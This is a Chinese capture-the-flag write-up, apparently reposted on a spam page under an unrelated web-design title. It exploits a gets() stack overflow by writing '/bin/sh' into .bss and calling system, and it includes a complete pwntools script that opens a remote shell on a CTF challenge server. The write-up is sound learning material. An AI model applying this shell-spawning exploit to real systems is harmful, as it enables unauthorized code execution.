当前位置: 首页 > wzjs >正文

饰品网站设计方案营销型网站建设ppt

饰品网站设计方案,营销型网站建设ppt,网站建设与管理项目1项目规划,做简单网站需要学什么ida 反编译看 main 函数 gets 存在栈溢出 偏移 488 56 自带后门函数 但是没有 /bin/sh 存在可写段,我们可以利用 gets 写入 /bin/sh payload: 先将可写地址存到 rdi,然后再次调用 gets 函数来接受输入 /bin/sh 读取到 bss_addr 然后再存…

ida 反编译看 main 函数

gets 存在栈溢出

偏移 48+8 = 56

自带后门函数

但是没有 /bin/sh

存在可写段,我们可以利用 gets 写入 /bin/sh

payload:

先将可写地址存到 rdi,然后再次调用 gets 函数来接受输入 /bin/sh 读取到 bss_addr

然后再存入被改写内容的地址,作为参数,调用 system 函数即可  

payload = cyclic(offset) + p64(pop_rdi_addr) + p64(bss_addr)  + p64(gets_addr) 
payload += p64(pop_rdi_addr) + p64(bss_addr) + p64(system_addr)

编写 exp:

我们在调用 gets 函数之后并不需要返回到原来的函数中

在调用 gets 函数和 system 函数之间并不需要进行额外的栈调整

因此用不到 ret

# @author:My6n
# @time:20250523
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('node6.anna.nssctf.cn',29271)
elf = ELF('./pwn')
offset = 56
pop_rdi_addr = 0x401273
bss_addr = 0x404000
system_addr = elf.symbols['system']
gets_addr = elf.symbols['gets']
payload = cyclic(offset) + p64(pop_rdi_addr) + p64(bss_addr)  + p64(gets_addr) 
payload += p64(pop_rdi_addr) + p64(bss_addr) + p64(system_addr)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()

可以打通 

 

 

http://www.dtcms.com/wzjs/71690.html

相关文章:

  • 网站没排名要怎么做乔拓云建站平台
  • 高品质的网站开发seo全网营销的方式
  • 苏州网站建设找思创优化方案英语
  • 网站建设 江苏搜索量用什么工具查询
  • 做网站什么笔记本好用5118和百度指数
  • 日本室内设计网站推荐seo网站优化排名
  • 小学学校网站建设计划书超级搜索引擎
  • 弱电工程公司网站怎么做友情链接交换平台有哪些
  • 做视频网站收费侵权吗关键词广告
  • 怎样做网站外链seo搜索引擎优化软件
  • 常平做网站公司电商平台推广公司
  • 仿70网站分类目录源码竞价托管外包
  • u nas 建设网站网站优化怎么做
  • 无锡品牌网站建设网站线上营销手段
  • 专业免费网站建设一般收录批量查询
  • 泉州免费建站百度推广开户流程
  • 做擦边球丝袜网站seo实战培训视频
  • 南山做网站价格宁波seo网络推广软件系统
  • 做公司网站费用页面seo优化
  • 武汉手机网站开发seo自媒体培训
  • 做网站公司法人还要拍照吗内蒙古网站seo
  • 灵当crm客户管理系统惠州seo报价
  • 学校网站建设机构短视频培训机构
  • 网站出现的问题seo快速排名优化公司
  • 信息展示网站百度热搜榜排名昨日
  • 宜兴网站建设济南疫情最新消息
  • 网上电影网站怎么做的小说推文万能关键词
  • 金融网站建设方案企业网站优化关键词
  • wordpress 控件天津seo结算
  • 把网站做二维码推广平台 赚佣金